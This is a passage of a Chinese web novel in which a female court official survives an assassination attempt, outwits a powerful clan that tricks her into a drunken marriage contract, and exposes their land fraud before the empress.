自幼他便被压制,被他生母,被太夫人,因他之聪慧,害怕夺走了大郎的风光,崔姨娘教他学的典籍中,全是讲孝道,全是讲嫡庶,全是讲规矩。 起初他是不喜的,可那一顿顿鞭子打在身上很疼,他跟着学,跟着认,以《孝经》当做启蒙。 成了大周最为守礼的裴太傅,也妄想将身边人变成和他一样。 他见过她的恣意,也很喜欢,可背上的伤疤隐隐发着疼,他教她学典籍,知礼仪,将她培养成书中的贤惠女子,合格的五夫人。 如同他幼时一样,可当她身上的枷锁被挣开,他才晓得他的错! “国公若是不喜,可将我逐出家门。”裴珉又说了道话,直接离开了院子。 路过花园,隐隐的声音传来,裴珉看着前边儿不远处的裴秋月和赵士远。 裴秋月听闻今日之事,愤慨不已,“真是荒唐,小小侍书敢管世家事。” 王家与他们定国公府一般势力,姜秋姝如今敢于王家抗衡,指不定来日便敢站在定国公府之上,她见不得姜秋姝能有如今的能力和地位。 “是。”赵士远不敢多说什么,只是点头。可他连上朝的资格都没有,只能从旁人口中听闻她如今的风华。 “你与她定过亲,她如今成了侍书,你却还是个九品小官,你连姜秋姝那贱人都比不过!真是瞎了一身的才能。” 不过两年,裴秋月就有些厌烦赵士远了,连个当男人的本事都没有,权势上还得靠着定国公府。 也不晓得她当初看上他哪儿了!如何想来,她后悔极了! “姜秋姝那**,勾引了五叔,让五叔竟然与王家对上了……”裴秋月还未说完话,便被人从身后给压制住了。 她抬头,见了裴珉,一时间有些心虚。 “来人将二娘和二姑爷送出府去!日后莫要随意进府!”裴珉令下,裴秋月不可思议的看着他。 五叔是要将他们赶出去! “不要啊,五叔。”裴秋月才不愿意离开定国公府,她所嫁之人本就没有能力,若是被赶出府去,怕会被洛阳旁的世家女嗤笑! “你本出嫁女,大周可没有世家女子久赖在娘家的!”裴珉冷声道。 裴珉身边的侍卫,立刻桎梏着两人,裴秋月还在剧烈挣扎着,“你答应过阿耶会护着我的!五叔!只因姜秋姝那个贱人,你便要赶我走!五叔!” 直到裴秋月的叫嚷声消失,裴珉才舒展了眉宇。 第52章 第52章救了她 姜秋姝将吴娘子的身契,归还给了她,与她一道去了乡下的老家,原本她叔母在洛阳置办了宅子,可这几日忙着搬家,便回了老家。 她们到了清山村,姜秋姝带了些侍卫,圣后命她查案,将金吾卫一小队派给了她。 姜秋姝等见了这一群侍卫时,看着队伍最前列的男子,她神色生了几分怪异。 裴承升了职位,如今是金吾卫副统将,竟然会来护卫她? 这不是大材小用! 姜秋姝收回了视线,默不作声的上了马车,裴承捏着腰间的刀,一直默默的看着姜秋姝的身影,直到看不见,才站在队伍之中。 吴娘子坐在姜秋姝的对面,“感觉那位小将军,对姜娘子有所不同?” 姜秋姝抬眸,唇角漾出了份浅笑,“他厌我!他曾是我前夫的侄儿。我离开了他家,他喜不自胜。” 吴娘子却并不觉得,那位小将军在看见姜秋姝时,眼眸明显比起方才亮了不少。 不过他们的关系,注定不会叫彼此更进一步,吴娘子便没有点明她。 “姜娘子前夫是裴太傅?”那日在朝堂上,吴娘子也曾耳闻。 裴太傅的名声可是洛阳大大小小的女子皆有过耳闻的。 武将生文才,那年的状元游街,倾倒了不少的小娘子。 姜秋姝并不想多言,可一路往清山村走,到底是闲闷,吴娘子便又开了口,“裴太傅在乎姜娘子,他在朝堂上屡次为姜娘子说话,倒是个好人。” 姜秋姝点头,有了裴珉在,她的路确实要顺了些。 她并没有要利用他的心思,可裴珉多次将朝堂上的火力,移到他身上,她心底其实是感激的。 只是,她并不想要他干涉其中,一点儿也不想。 她的路是流血,还是以付出生命代价,都无谓,因她只剩下她自己。 吴娘子并没有窥探姜秋姝隐私的事,只是她担忧姜娘子因她之故,当真与王家对上了,而姜娘子即便是圣后的人,可到底势弱,并没有可以依附的靠山。 她到了如今的地步,早晓得贫苦之人与权贵相争,都不会有好下场。 “吴娘子今后有什么打算?”姜秋姝移开了话题。 “嫁个好男人,生儿育女度过一生。”吴娘子的眼中却暗淡,根本没有对未来的期许。 她其实也不晓得,这只是她最开始的想法,可最终家破人亡,就连自己也成了旁人的玩物。 姜秋姝看着窗外春日融融之景,她以前也是这般想的,可惜…… 约莫两个时辰,一行人才浩浩荡荡的到了清山村,除开来帮吴娘子夺回她东西,姜秋姝更是来收集证据的。 马车定在吴家,小院里堆了许多东西,已经空荡荡的了,吴娘子瞧着她叔母正在搬她阿弟的书桌,一下子冲了出去。 扯着老媪往地下拖,殴得她满身泥,吴娘子在王家未曾做过什么重活,比不得那老媪体态丰腴。 可此时她身上的尖刺,全部都竖了出来,拼死的捡起身边的东西,便朝着老媪砸去。 她如今失去了所有的东西,还被亲人这般算计,当她在王家凌辱时,亲人未曾告知她阿弟死了,她依旧怀着希望,可却是一场要将她剥皮餐食的骗局! 她发泄着,所有痛苦外露,她只想觅一良人,安度余生啊! 全毁了! 姜秋姝默默的看着,眼角晶莹,不知何时流了出来,她和吴月极像,她与阿娘为何会离开天长县,便是因为天长县容不下她们母女。 家中所有被族亲瓜分殆尽。 忽然一条白色的手帕,出现在她面前,裴承温声道:“擦擦。” 姜秋姝用食指撇去眼角的晶莹,并不接。 裴承手在空中停留,最后只能收了回来。 这时出来了三个人,年轻的男女,和一老汉。 那男女,应当是吴娘子叔母的孩子,那老汉便是吴娘子的叔叔。 “小月,那是你叔母,你做什么!” 那汉子想要去推开吴娘子,姜秋姝朝着她带来的人,使了个眼色,立刻将这夫妻俩并年轻的男子和女子压制住。 姜秋姝扶稳险些被推到的吴娘子,讥讽的看着,“吴娘子阿耶与阿弟去世没多久,几位便这般按耐不住,想要瓜分蚕食财产,欺骗吴娘子阿弟还在世,利用吴娘子牟利,诸位可晓得此罪如何?!” “你是何人!”老媪被吴娘子打的疼,又见家人全被桎梏住,便晓得纸包不住火,“关你何事!” “这位是圣后近臣,姜侍书!”裴承挡在了姜秋姝身前。 姜侍书?老媪和那汉子面面相觑,倒是听闻过一二,洛阳城里有位以女子之身当官的,没想到是眼前这位。 “大人,这是我们家事!”老媪连忙跪地,见这阵仗,不敢不屈服。 姜秋姝朝着侍卫使了使眼色,“家事还是旁的事?利用侄女收敛财产,此事你们到牢里说!” 几位立刻被压走,吴娘子的表弟妹还想要向她求饶,吴娘子却是一眼都不看。 将吴娘子的事解决完后,一行人便要去当地的县令府,吴娘子想要留下姜秋姝,却又不晓得,留下她能做什么。 如今她也只有她自己一人了! 姜娘子为她做得够多了。 “等等,”吴娘子忽然叫住了姜娘子,“因我之故,让你得罪了王家,抱歉。” “我本是来洛阳得罪人的,吴娘子不必介怀。”姜秋姝笑着朝她挥手。 离开清山村,时候已经不早了,姜秋姝坐在马车上,不晓得何时窗户被敲了几下,她打开,是裴承。 裴承递给了她些果子,姜秋姝看了眼周围的侍卫,不好让他难堪还是收下了,只是并没有吃。 “姜大人说,本就是来洛阳得罪人的,是何意?”裴承问道。 “实话实说。”姜秋姝道,“还是加快赶路。” 姜秋姝的避而不答,叫裴承好奇更重了些。 又行了一个时辰,林间鸟儿惊飞,远处马蹄声阵阵,引得野兽窜逃,马车在此刻戒严,裴承敲了敲车门,“姜大人,我去前面看看。” 此刻的风不平,叫人跟着谨慎起来,姜秋姝眉宇拧了拧,直到一支利箭射穿了马车,离姜秋姝不过一寸,扎中了马车内壁。 她连忙俯下身来,外边儿呼声阵阵,刀剑砍在一起,发出铮的细鸣。 马车壁被数支箭羽射中,砰的好几声,姜秋姝尽量隐藏住自己的身形,心此刻剧烈的跳动起来。 这是她第二次遇见这样的事。 第一次是她打算离开洛阳,遭遇了劫匪,裴珉救了她,他们间也因此有了误会,有了纠葛。 可这场截杀激烈,完全不给她留机会,不似劫匪只要钱财,只一心想要她的命。 姜秋姝此时不敢打开车窗,她不会武,出去也是给他们添乱。 “保护姜大人!” 侍卫朝着马车方向聚集,姜秋姝隔着车窗都能闻见浓烈的血腥气,她紧握拳头,早就在心中做好了打算,洛阳的这趟浑水中,她不会太平。 可当血腥和残杀出现在她面前时,姜秋姝咬了下嘴唇,让自己清醒些。 外边儿刀剑声没有停止,只是声音远了些,车门忽然被打开了,裴承一手握住刀,衣袍上沾了很多的血,不晓得是他的,还是旁人的。 “走!”他朝她伸手,姜秋姝连忙跟着出去。 一只箭朝着她的方向射来,裴珉横劈将箭斩断,两人在侍卫的护卫下冲了出去。 此刻姜秋姝才看清了对面共有数百人,他们黑布蒙面,看不清模样。 跟着她一道的侍卫,一直将她和裴承护在中间,姜秋姝连忙上了马,两人往山林深处跑,躲避着那些黑衣人。 那些黑衣人十分凶猛,不一会儿的功夫,便又追了上来,裴承在身后护着她,姜秋姝抓紧缰绳,不想要成为旁人的拖累,只能尽力的跑着。 可箭矢唰唰声音,令人胆寒,原本还在奔跑的马儿被箭射中,倒地不起。 极快的速度,姜秋姝来不及反应,自马上摔了下来,头碰触到石头上时,模糊中看见是裴承朝着她方向奔来。 记忆里这一幕很熟悉,好似在两年前秋狩,那时也是裴承接住了她? 血腥味漫天,裴承眼睁睁的看着一只箭矢朝着姜秋姝方向,他全身紧绷,冷汗湿透了衣裳,拼命朝着姜秋姝的方向跑了过去。 一道青色的影子,挡在了姜秋姝身前,箭矢刺破血肉的声音,分明离得很远,可清晰的入了裴承的耳。 也是在这个时候,一队人马迅速赶了过来,原本敌不寡众的局势瞬间变了,那些黑衣人迅速被这对人马给制服。 可在他们来不及反应之际,黑衣人纷纷服了药,自尽了。 裴珉捂住胸口的箭,抱着怀中的人,顾不得自己有多痛,只想要看看她是否有伤,那支箭射向她时,裴珉脑子是空白的,他从不晓得胆怯为何物。 一生的不安,都在她身上找到了。 裴珉只动了下,胸口处血流的更多了! “不要命了!”李明澈既恨自己告诉他姜秋姝的去处,又恨自己未拦住这不要命的。 裴珉唇角只在看着怀中人笑容温柔。 可不多时,两人皆晕了过去。 ~~ 刺眼的光让姜秋姝睁开眼,很是陌生的地方,她环顾四周,扶着剧烈疼痛的头,缓慢起身。 房门被打开,进来一道青色的影子,影子逐渐从虚变实。 “是你救了我?”姜秋姝看清了人,是她迷糊中见到的那张脸。 裴承瞧见姜秋姝醒了,终于露出了笑意,听见了她的问话,裴承鬼使神差下点了点头。 “那次在秋狩,也是你接下我的?”姜秋姝想起恍若见熟悉的感觉,问道。 “是。” 第53章 第53章毒 “多谢三郎君。”姜秋姝温声道。 他也不算是说谎,沿途中他护着她,也是救了她。 他承认有私心,原来上回秋狩时,她一直不晓得是他救了她,难道将他认成了五叔? 裴承垂眸,他还是无法割舍下她,朝堂之上,她锋芒毕露,他未曾见过这般的女子,与那些大家闺秀完全不同。 两年前他的心便动了,她与五叔有了隔阂,那他是否可以更进一步? 裴承为自己这样的想法,感到羞愧,可她从未对他这般的温柔,她以为他排斥她,可实则他暗藏的心思,不敢泄露半分。 可…他始终做不到那般卑鄙,裴承走到桌子边,“倒也算不上我救了你,黑衣人那般多,后续来了援兵。” 姜秋姝颔首,“如何不算呢?今日与我一道的侍卫,皆是我的救命恩人,三郎君是,他们也是。” 裴承才明白了姜秋姝方才的意思,所以她是知道吗? 可裴承不想和她说清楚。 裴承将药端了过来,坐在了姜秋姝床榻之上,将要拿起汤匙喂她,姜秋姝挡住了他的手把药碗拿了过来。 温的,刚好能入口,她直接一饮而尽。 “倒是没瞧见像你喝药这般爽快的。”裴承难免震惊。 “长久的苦,一时的苦,我还是晓得的。”嘴里的苦涩一时间升腾起,她面色未变,裴承又倒了杯清茶,姜秋姝喝了干净。 裴承唇角笑意淡淡,看着她眉宇稍微拧起,却又丝毫不在人前示弱,是个好强的性子。 “追杀我们的黑衣人呢?”姜秋姝自然是晓得是何人做的,可此事要讲证据。 “无一活口,他们皆是死士。”裴承如实道。 “我如今已经无事了,稍后继续赶路吧!”姜秋姝连忙起身,她此次去淮扬县,便是要查当地土地登记的线索,以及吴娘子阿耶的地契本是盖了章,却被判定是假印。 若是将县令传唤到洛阳,怕县令还未到洛阳便出了事,如今看来不能耽搁了。 “你还有伤!”裴承想要让她休息会儿。 “管不了那么多。”姜秋姝连忙下了床,命人准备,原本的只十几个侍卫,如今多了许多的人,约莫有一百人。 姜秋姝也并未问,他们是何人派来的。 客栈里,一盆盆红中混了些黑的东西被倒了出去,李明澈急得团团转,那箭矢上涂了毒,裴珉已经昏迷多时了。 窗外人声鼎沸他们的身影逐渐远去,李明澈眺望了下,又收回了目光。 “裴珉啊裴珉,你这又是何必呢!”李明澈看着昏迷不醒的人,感叹道,“如今人是躺这儿了,她倒是干脆利落的走了。” 大夫数次擦着额头的汗,等床上的贵人血终于止住了,他才松了口气。 “无事儿吧!”李明澈连忙凑了上去。 “这箭上有毒,小民将血止住了,只是这毒,小民也不晓得如何解。”大夫连忙道。 血止住便是好事,李明澈也容不得多想,连忙命人在马车里铺了软卧,体内毒若是不及时清除了,恐对寿数有影响。 还是得回洛阳看太医。 “她呢?将我们的人给她。”马车驶去了一段距离,人忽然醒了,迷迷瞪瞪中抓着李明澈的袖子。 “给了,给了,姜娘子如今安全的很,你还不如好好操心操心自己。”李明澈更多的是怨自己,他打听姜秋姝的踪迹,本是想要他们多接触,孤男寡女,一路上多相处,感情必定升温。 哪晓得碰上了遇刺,还偏偏让裴珉赶上了那箭。 “你真是天生欠姜娘子的!”李明澈见他昏迷中还想着姜秋姝,简直恨铁不成钢。 ~~ 姜秋姝一行人直到天黑才赶到了淮扬县。 火光漫天,衙役忙着提水去灭火,根本就没有机会搭理他们,烟雾缭绕,姜秋姝头今日才受到了撞击,被烟熏了后,一时间有些晕眩,裴承连忙接住她。 怀中的娇软,让他愣神之际,姜秋姝早就推开他,让侍卫们也跟着去救火。 姜秋姝半跪在地上,额头在此刻格外的疼,她屏息拿出绣帕遮住口鼻,身体越难受,脑子却清晰得很,淮扬县的证据必定被毁了,县中的文书被烧毁大半,就连淮阳县令也凶多吉少。 如今之际,最大的破绽便是在王家。 她得回洛阳。 天已经彻底的黑了,一行人早就疲惫不敢,接连的赶路未曾有过停歇,姜秋姝靠在马车上,紧紧抱着一些残留的信,火能将木头燃烧殆尽,可摧毁不了夹杂在石缝里的东西。 她便是个爱藏东西在石缝里的,裴珉给她的一万两,被她藏得好好的。 不过用处不大,还不能绊倒王家。 翌日天还算早,姜秋姝对着镜子重新上了额头处的药,白布取下那刻,这道伤生生折损了这张脸。 白璧有瑕。 药覆盖住伤口时,她疼的呲牙咧嘴,却也有些想笑。 如今日子过的难,可比起以往的富贵日子好了太多了。 太极殿里,朝臣数次抬头隐晦打量着姜秋姝,无他,原是娇媚的绝世容颜,现在白布缠绕着伤口,不晓得伤如何了! 若是毁了容,真是有够叫人惋惜的。 姜秋姝丝毫不将这些目光放在心上,裴珉抬头脸上瞧着红润,可那样的红润却有些怪异,失了些本真,却叫人摸索不出什么。 他眼眸血色残留,是深深的疲惫。 李明澈离他隔了两三人,只是担忧的看着他,只为了能看见她,便是身受重伤都要来上朝。 李明澈当真是从未见过这般固执又疯癫的裴珉。 “事情查的如何了?”早朝将要散去,圣后问了问姜秋姝。 百官皆竖起耳,听起此事来。 “回娘娘,臣已经查的差不多了,必定会肃清朝堂,不负您的期望。”姜秋姝正色道。 圣后抬了抬眸子,将姜秋姝胸有成竹的模样看在眼里,她骤然笑了起来,“那便看姜爱卿的!” 底下的百官却是不相信,不过短短几日,姜侍书便能将事情查清楚? 恐怕也只是查出了个王九郎,世家大族的事,能是这般好查的?! 瞧她额角的伤,与世家作对,这只是个提醒。 下了朝,姜秋姝刚要离开太极宫,左侧便有人撞了过来,她忽然被拉住胳膊,撞入了个坚硬的地方。 姜秋姝看清了来人是裴珉,逐渐从他怀中离开,和他拉开了些距离。 怀中空空,那抹馨香根本不想要他的接近,喉咙处血腥味儿往外蔓延,裴珉咬了咬牙齿,忍住了。 他看着对面之人。 “王尚书还是长眼些!”裴珉冷声呵斥道,“若是不需要,本官可替你挖了!” “太傅当真是要与王家为敌?如今桩桩件件不怕世家大族与你分隔!”工部尚书王明泰是王尚书令的嫡子。 王九郎是吏部侍郎王明坤的庶子,王明坤受到王九郎牵连,教子不严,被罚府中思过。 如今王家只他们二人在朝。 (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) 裴太傅为了姜侍书,在朝中数次没了以往的风范,叫朝臣对他颇有微词。 工部尚书看了眼姜秋姝,果真是美色引人,即便受了伤,只会叫人怜惜,难怪裴太傅失了智,甚至为此差点儿付出了性命。 “用不着王尚书担心。”裴珉咳嗽了几声,未曾注意到王明泰讥讽又加上几分得意的笑。 “听闻姜侍书查我王家的事,已经有眉目了?”王明泰气恼不显,“我王家大气,邀姜侍书过府一叙,也是特意缓和这几日的误会。此乃我父的意思,就怕姜侍书心中有鬼不敢来!” “既然要解释清楚,有何不敢来的?”姜秋姝正视他,“明目张胆的王家应该不敢做什么刺杀的事吧!” “自然不会。”王明泰见姜秋姝答应了,语气缓和了些,“便恭候大驾了!” 出了宫门,裴珉拉着姜秋姝上了马车,“你明知王家来者不善,为何要答应!” “为何不要呢?”姜秋姝只是沉静地看着他,“不入虎穴焉得虎子?” 裴珉又咳嗽了起来,脸上红润随着胸前的震动并未增多,反而一点儿变化都没有,只是沉闷的咳嗽声,像是喉咙里夹了什么。 “你别这样,小满,没有什么比你生命更为重要的!”她已经数次触碰到了危险,即便他在,可他着实怕,有自己护不住她的一天。 裴珉看着她额头上的伤,也不晓得她疼不疼。 姜秋姝坐在另一次,直起上半身,朝着裴珉的方向弯腰,两人呼吸极近,打在脸上痒痒的,裴珉不由自主的闭上了眼。 像是在等待着什么,即便没有可能,可他依旧顺从了自己的内心。 姜秋姝只是注视着,然后面不改色的在他脸上蹭了下,指尖搓了搓,什么东西都没有。 裴珉想要抓住她的手,可她早就坐回了原来的位置,“小满,你若是想要摸,可以再摸一会儿。” 他半开玩笑,半掩饰住心底的难受。 晓得她是在怀疑他,除此外根本就不可能再靠近他。 他的小满,只在咬他的时候会主动些,鲜血和着唇瓣那样的吻,也是甜的。 他摩挲着虎口的印记,喉咙底下的咳嗽又有些掩饰不住。 “你去过清山村?”姜秋姝问道。 “自然,”裴珉点头,“洛阳周边县里的村落,以往巡查时,我去了个遍,小满你问起这个做什么?” “没甚。”姜秋姝摇头,依旧紧盯了他脸一会儿,可始终什么都没有找到。 两人没什么好说的。 她便直接下了马车,她往前走了几步,脚步逐渐放慢,最终回到了马车车窗旁边,朝着裴珉道:“别管我,裴珉。” 裴珉不答,只目送着她离开。 怎么可能不管呢?裴珉咳嗽不止,掌心打开,一滩鲜红的血迹。 第54章 第54章得意 姜秋姝正清理着院子里的杂草,身侧还有许多金吾卫的侍卫,就连裴承也在。 自从上回遇刺,圣后特意派了些侍卫来保护她。 习武的男子,当真是力量十足,俯身时腕部龙筋虎束,种植比较大的小树,只单手便能将其拎起来。 姜秋姝打算在院子种下桃树,便从外边儿买了棵双手可握的大小的树,明年便可吃桃子。 送来时,好几人抱着进来,累的面红耳赤,可她身边的人,挽袖子到胳膊上,肌肤褐色应当是时常练的缘故,上臂弯曲时峰棱暴起,只单手便能将桃树移栽到土里。 姜秋姝多看了几眼,便有人挡在了她身前,她抬眸疑惑道:“怎么了?” “你的伤可好多了?”裴承问道。 “无事,”姜秋姝没想到他为何会问这些,“三郎君其实不必在此。” 裴承自然有旁的事去忙,一直守在此处,未免大材小用了。 “是我心甘情愿的。”裴承声音急切了些,往前走了步,似乎想要说些什么,门口却忽然来了人。 她还未去王家,先上门的,竟然是郑明恪。 “姜大人,可否单独一叙。”郑明恪环顾了下四周,没想到会有这么多男子,瞧着如孔雀开屏般。 姜秋姝点头,和他一起到了正厅。 “是我对不住你。”郑明恪再次朝她俯身作揖,与记忆中在定国公府时一模一样,那时他的郑重的模样,便让她看不懂。 “何事?” “姜大人在定国公府,听到的那些谣言,多半是我的授意。我当初便想着姜娘子与裴珉和离,才行了阴谋诡计之事,舍妹的扇子,也是故意露在姜娘子面前。” 郑明恪自幼便是学圣贤,习教化之道,可却对一女子使了手段。 姜秋姝面露震惊,一息之间便又恢复正常。 “你知晓?”郑明恪瞧着姜秋姝的反应,心中的卑劣,让他面色苍白。 他以前从未做过下三滥的事,便是说句谎话,都得红着脸。 那日,定国公府哀嚎遍地,他与郑如珠同时被请出了府,他便晓得裴珉是知晓了。 为了郑家,他千方百计想要继续裴珉与郑如珠的婚事,那封退婚书也是他故意说未曾收到,府中谣言,郑如珠的昏迷,也是他做的。 郑明恪坐在椅子上,不敢去见姜秋姝的神色,他郑家清清白白的品行,却毁在了他手里。 做过了,他便没有后悔,只是没想到裴珉会如此逼迫于他。 本该入朝一展宏图,却被按在了如今的位置上,他回到洛阳不得圣后重用,其中就有裴珉的缘故。 她想过在定国公府,便有人暗中推着加快了她与裴珉的分裂,怀疑过郑家人,可后面明白和他人有关,却又没有太大的关系。 “郑大人今日是来致歉的?” 郑明恪起身,想要再次对姜秋姝施礼,姜秋姝却横跨一步躲开,并未受。 “姜大人。”郑明恪也是做好了,姜秋姝不会原谅他的打算,只是他得罪了裴珉,却不能再得罪旁人了。 “郑大人该晓得,并非只要认了错,旁人就该原谅。” 极其寻常的声音,甚至没有任何的起伏,姜秋姝不过是实话实说,若是做了错事,只道个歉,便能被原谅。 那错事还算什么错事? 况且,她就不是什么大度的人。 郑明恪颔首,他该。 “所以郑大人来此,只是因为此事?”姜秋姝问道。 “圣后派我与姜大人一起查王家的事,姜大人若是有用的上我的,尽管说。”他甚至怕姜秋姝不信又说出了隐秘之事。 “家父曾是尚书令,家父倒后,是由王家接任。即便查不了污蔑郑家的凶手,我却觉得事情并没有这般的简单,郑家倒塌,获利最大的是王家。我想郑家事指不定与王家脱不了干系。”郑明恪道。 “即便有危险,郑大人也不怕?”姜秋姝倒是起了几分兴致。 见姜秋姝并没有将他赶走,郑明恪心中多了些希冀,“姜大人若是有事,尽管吩咐就是了!” ~~ 隔日王家高朋满座,姜秋姝到时,王尚书令连忙迎了过来,甚至是带着姜秋姝到了上首的位置。 姜秋姝推辞,王尚书令却将她捧得很高。 “上回在太极殿,是我言重了,”王尚书令给姜秋姝倒了杯酒,又给自己倒满,然后饮了干净。 “今日来,则是与姜侍书洗净旧隙。”王尚书令说完话。 立刻有人附和着,“想姜大人这样清新脱俗的女子当真是少见,来我敬姜娘子一杯。” “是啊,是啊,我大周女子甚多,可从未有过如姜大人一般能入朝为官的,与姜娘子一比,那些女子简直就是庸脂俗粉。” 左侧又来了个男子,姜秋姝认得是王尚书令想要给他介绍的王三郎,此刻的王三郎穿着一席红衣,眼眸盯着姜秋姝含着情丝,在拿起桌上杯子递给姜秋姝时,手指从她的手背上划过。 “姜大人请。” 姜秋姝背脊处生了股麻意,心口恶寒,她笑着接过了杯子,“哪里哪里,几位郎君过奖了。” “非也,非也,您是天福之人,圣后都这般说过。您还曾听到牡丹花仙的警示,救了万民,此间哪里有如您这般的人,真是让我好生钦佩。”这句话是王四郎说的,如果姜秋姝没有认错人的话。 余下还有些王尚书令在官场中亲近之人,他们全都依附着王家。 “姜大人说不定是神女下凡,才与那些寻常的女子不一样,叫我等男子都是自愧不如的。”那官位约莫二十左右,生的是面红齿白。 姜秋姝环顾了四周,来的男子皆是好样貌。 这王尚书令真是够叫人吃惊的。 姜秋姝脸上挂起了红霞,在诸位的劝酒下多喝了几杯,直到头晕眩时,王尚书令忽然来了身侧。 “你我其实可结秦晋之好,化干戈为玉帛。我王家在朝众多,亦可为姜侍书保驾护航。”王尚书令捋着胡子笑道。 “尚书令是怕我将事情抖出来?”姜秋姝醉醺醺道。 “哈哈哈,怎会!我王家可没有蝇营狗苟之事,只是本官好奇,姜侍书得了哪些虚假的消息?可别叫旁人跟着陷害了我们王家。” “你怎知是虚假?”姜秋姝撑着下颚,眼神飘忽的盯着下方,王尚书令笑容彻底大了几分。 “我王家百年世家,怎可能轻易能够击垮,姜侍书不如将东西交出来?三郎和四郎还未娶妻,姜侍书可有喜欢的?”王尚书令看见了姜秋姝眼中有了些动容,又问道,“莫不是姜侍书并没有什么证据,不过是故意在圣后面前寻我们王家的不是?!” “我…我岂是那样的人?”姜秋姝原本淡红的脸,此刻彻底的红透了,她直接起身,惊了身侧人一跳,然后站在了小桌上,“我可是被天眷顾之人,怎会说谎话,牡丹花为何只与我托梦,不正是因为我有天大的福气。” 王尚书令见姜秋姝这般肯定的模样,心头有了几分忧色,可他依旧捧着姜秋姝说着好听的话。 见姜秋姝被他们这一阵恭贺,说的飘飘欲仙,王尚书令遮住眼中的鄙夷。 声音充满诱惑道:“我王家百年世家,朝代更替,王家却不倒,姜侍书是女子,即便当了女官,可依旧无法泽披后代,不若与我王家结亲,后代有了我王家的血脉,更加能够流芳百世!” 姜秋姝踩在小桌上,上面的碟子酒杯撒了一地,原是围绕在她身侧之人被弄了一身,连忙离远了些,她却比方才笑的还要开心。 王尚书令见姜秋姝是真的醉了,驱散了周围的人,只留下真正亲近的人,拍了拍巴掌,便有好几名小厮端着托盘走了进来。 托盘上的红布被展开,金银珠宝在阳光下发着彩色的光,姜秋姝挡了挡眼睛,又朝着这些东西扑了过去,“真的?” “这些便是给姜侍书的聘礼,如何?” 王尚书令在姜秋姝眼中瞧见了贪婪之色,人生来为财色,无一例外,即便她不是,可入了王家的院子,日后也是洗不清的! 原本以为要废些功夫才能灌醉她,没想到说几句好话,就叫她失了分寸。 当真是不过如此。 王尚书令连忙让人将姜秋姝扶了下来,婢女搀扶着姜秋姝坐到了椅子上,然后在她面前放了张纸,抓起她的手指在漆盒上按了下,又盖在了纸上。 此契成,便是无从抵赖。 王三郎忽然凑了上来,“太公,若是姜娘子没有喝醉,不从呢?” “那她自然离不开王家了!”王尚书令笑了笑,即便日后圣后追究起来,他自然有办法将王家给摘出去。 “可还未找到她口中的证据。”王四郎又补充道。 “有了这张纸便可,其余的都不重要。”王尚书令让人将姜秋姝扶了下去。 夜间漆黑如墨,姜秋姝看了看门外看守之人,并没有轻举妄动,直到门被轻敲了三下,她才出了院子。 不入虎穴焉得虎子,这才是她今日的目的。 王家最重要的证据,自然在王家,圣后不能轻易搜查王家,若是做了便是让这三朝元老,没了面子,会叫天下人唾弃。 姜秋姝听到院子里几声鸟叫,才走了出来,裴承连忙出现。 两人悄摸的进了王家的书房。 这一夜王家人自以为无事发生,只是招呼了忽然来家中品画的郑明恪。 直到清晨时,姜秋姝醒来,王尚书令将姜秋姝昨日签的东西递给了她。 如愿看见姜秋姝变了脸色,王尚书令笑得猖狂。 “姜娘子应当晓得什么该说,什么不该说!”他冷声道。 姜秋姝攥紧拳头,小脸煞白的模样,让王尚书令更加的得意。 马车停留在王家门口,王尚书令不似最开始殷勤,直接派了小厮,将她送回了府邸。 姜秋姝回到院子,郑明恪已经等了她有一会儿了。 姜秋姝其实不大放心郑明恪,并未将关键的事交给他,只他并未破坏了她的计划,她暗自在心里长舒了口气。 如今只差东风了。 ~~~ 翌日,天还未亮,太极殿上,百官皆至,朝上俯首称臣。 姜秋姝穿着为她新制的女子襦裙官服,额头上的伤口还未好,她上了药便戴上了珍珠并金丝抹额,双手交握在腹前,俯视着底下的人。 不失女子的美,却又威仪不容他人亵渎,圣后喊起后,百官看着这般的姜秋姝隐隐觉着今日会有大事发生。 “臣有事起奏。”姜秋姝道。 第55章 第55章土地 “臣有事起奏。” 听到这位姜侍书这般说,朝臣都变得警醒起来,也不晓得这位姜侍书,又要搞什么幺蛾子。 “何事?”圣后挥了挥衣袖,侧坐着,朝着姜秋姝的方向看过去,眉宇间是众人无法直视的威严。 “娘娘让臣查的事,如今已经查的妥当,王九郎一事却与王家有牵连。” “你胡说!”王尚书令不相信他分明有了姜秋姝把柄的情况下,她竟然还敢在朝堂之上向圣后禀明。 如今姜秋姝也算得上王家人,若是王家人被判了刑,姜秋姝势必会牵连到其中! “姜侍书前儿,才我王家吃过酒,与我王家三郎四郎关系皆密切,如今却又在朝堂上构陷我王家,姜侍书是要做什么!”王尚书令是在提醒姜秋姝所签的东西。 姜秋姝却并不看向王尚书令,只是对着圣后道:“臣有证据。” 说着将衣袖中的东西取了出来,是一些被烧的只留下碎屑的信纸。 “这是臣找到的王家与淮扬县令勾结的证据,王家大量购买洛阳周边的土地,甚至私下有人为了牟利,还将卖出的土地故意做成假的地契,这样王家一只手倒另一只手,得了钱财,土地亦未少。” 圣后看着那一叠纸,隐约是能瞧出些什么的,可…… “这也不能当做指证微臣的证据。”王尚书令与其余王家人皆站了出来。 确实,若是只依靠这么些东西,不能定王家的罪。 王尚书令一家阴狠的盯着姜秋姝,此女简直不怕死,分明已经被他们所拿捏,可却什么都不曾畏惧,还敢在朝堂上指摘他们王家。 王尚书令捏着袖子里的纸,亦是起了拖姜秋姝下水的心思。 “臣还有其他的证据,”说着姜秋姝将在王家找到的东西,如实呈给了圣后,这是他们废了好些功夫,才在王家书房拿到的账册。 “除此之外,臣还有人证。”姜秋姝声音沉着,却是让殿里的大臣惊讶的嘴都合不上。 今日这一环接一环,姜侍书还真是有本事的,连王家都能查到了?! 人证,真假? 姜秋姝朝着内侍监使了个眼色,立刻有人自大殿外走了进来,此人正是淮扬县县令,那场淮扬的大火并未将他烧死,姜秋姝到时他只留了半条命,好不容易救了回来。 他跪在地上,指证着这些年与王家暗通款曲谋利一事,痛哭流涕说着自己为王家办了多年的事,可惜王家竟然不容他! 要置他于死地! “如此,王尚书令可还有能狡辩的!”姜秋姝俯视着王尚书令,眼眸中尽是对他的鄙夷。 这姜侍书还真是厉害! 朝中大臣皆如此的想,可过了会儿打了个寒颤,她连王家都不怕,若是这火忽然烧到他们身上? 原以为姜侍书不过是个花瓶,没想到他们都错了! 如今证据确凿,王家人再是抵赖不得,圣后沉思了会儿道:“将王家人打入大牢,容后再议。” 圣后如此没有当下裁决,是给了三朝元老,王尚书令面子。 